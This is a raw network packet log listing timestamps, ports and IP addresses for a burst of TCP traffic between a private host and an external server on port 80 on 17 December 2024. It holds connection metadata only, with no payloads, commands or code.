Dec 17, 2024 10:23:31.542108059 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.542129040 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.542136908 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.542167902 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.542190075 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.542809010 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.542881012 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.542895079 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.542944908 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.542947054 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.542992115 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.543657064 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.549571037 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.549601078 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.549608946 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.549652100 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.549679041 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.549917936 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.549958944 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.549964905 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.549967051 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.550023079 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.550036907 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.550746918 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.550782919 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.550800085 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.550848007 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.550872087 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.550888062 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.551526070 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.551578045 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.551642895 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.553026915 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.553062916 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.553071976 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.553087950 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.553090096 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.553109884 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.553390980 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.553451061 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.553468943 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.553500891 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.553529978 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.553602934 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.554207087 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.554234028 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.554250956 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.554280996 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.554317951 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.554337978 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.554989100 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.555016041 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.555025101 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.555053949 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.555102110 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.555107117 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.555775881 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.555813074 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.555830956 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.555854082 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.555887938 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.555934906 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.556639910 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.556668043 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.556675911 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.556701899 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.556741953 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.556760073 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.557382107 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.557432890 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.557446957 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.557475090 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.557504892 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.557542086 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.558197021 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.558234930 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.558295012 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.558305979 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.558324099 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.558346033 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.558996916 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.559083939 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.559112072 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.559120893 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.559132099 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.559168100 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.559784889 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.559828997 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.559843063 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.559909105 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.559927940 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.559947968 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.560581923 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.560622931 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.560631037 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.560678005 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.560729980 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.561440945 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.561463118 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.561474085 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.561506987 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.561523914 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.561533928 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.562351942 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.562366962 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.562383890 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.562419891 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.562439919 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.562474966 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.563370943 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.563435078 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.563453913 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.612164974 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.612201929 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.612215042 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.612234116 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.612257957 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.612385035 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.612438917 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.612449884 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.612493992 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.612545967 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.613281965 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.613293886 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.613311052 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.613320112 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.613353968 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.613383055 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.614012957 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.614072084 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.614087105 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.614129066 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.614142895 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.614146948 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.614907026 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.614917994 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.614934921 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.614958048 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.614964008 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.615003109 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.684837103 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.684861898 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.684954882 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.685642004 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.686008930 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.686062098 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.686131001 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.687928915 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.687959909 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.688019037 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.689791918 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.689858913 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.689901114 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.691720963 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.691780090 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.691811085 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.693551064 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.693641901 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.693711996 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.695589066 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.695610046 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.695688009 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.697336912 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.697418928 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.697470903 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.699186087 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.699273109 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.699352026 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.701082945 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.701142073 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.701149940 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.741695881 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.741753101 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.741770983 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.742597103 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.742660046 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.742698908 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.744471073 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.744532108 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.745140076 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.745281935 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.745419025 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.747064114 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.747126102 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.747186899 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.748918056 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.749018908 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.749077082 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.750823975 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.750916958 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.750992060 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.752679110 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.752778053 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.752892017 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.754563093 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.754648924 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.754700899 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.756421089 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.756524086 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.756584883 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.758358955 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.758418083 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.758490086 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.760198116 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.760333061 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.760382891 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.762161016 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.762237072 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.762284040 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.763977051 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.764053106 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.764101982 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.765865088 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.765914917 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.765981913 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.767735958 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.767853022 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.767913103 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.769625902 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.769731998 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.769840956 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.771554947 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.771713972 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.771765947 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.773358107 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.773471117 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.773523092 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.775254965 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.775362968 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.775851011 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.777132988 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.777228117 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.777329922 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.779125929 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.779198885 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.779251099 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.780900955 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.781089067 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.781219006 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.782774925 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.782841921 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.782908916 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.784636974 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.784744024 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.784805059 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.786500931 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.786586046 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.786880970 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.788418055 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.788476944 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.788538933 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.790271044 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.790365934 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.790417910 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.792135000 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.792232990 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.793987036 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.794044971 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.794100046 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.795074940 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.795896053 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.795985937 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.797198057 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.797776937 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.797945976 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.799643993 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.799757957 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.799793959 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.801542044 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.801685095 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.801698923 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.802094936 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.804189920 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.804281950 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.804338932 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.805062056 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.805145979 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.805187941 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.806538105 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.806638956 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.806766033 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.808442116 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.808482885 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.808528900 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.810305119 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.810378075 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.810427904 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.812186003 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.812282085 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.812344074 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.814115047 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.814187050 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.814239025 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.815973043 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.816206932 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.816270113 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.817903996 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.817950010 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.817997932 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.819772959 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.819884062 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.819943905 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.821541071 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.868153095 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.877108097 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.877213955 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.877304077 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.878036022 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.878063917 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.878118038 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.879906893 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.879983902 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.880043983 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.881781101 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.881800890 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.881858110 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.883694887 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.883807898 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.883877993 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.885691881 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.885709047 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.885766029 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.887429953 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.887517929 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.887654066 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.889328957 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.889413118 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.889478922 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.891201019 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.891278982 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.891386986 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.893060923 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.893127918 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.893208027 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.934029102 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.934060097 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.934175014 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:31.934910059 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.935026884 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:31.935091972 CET	49752	80	192.168.2.7	185.215.113.16
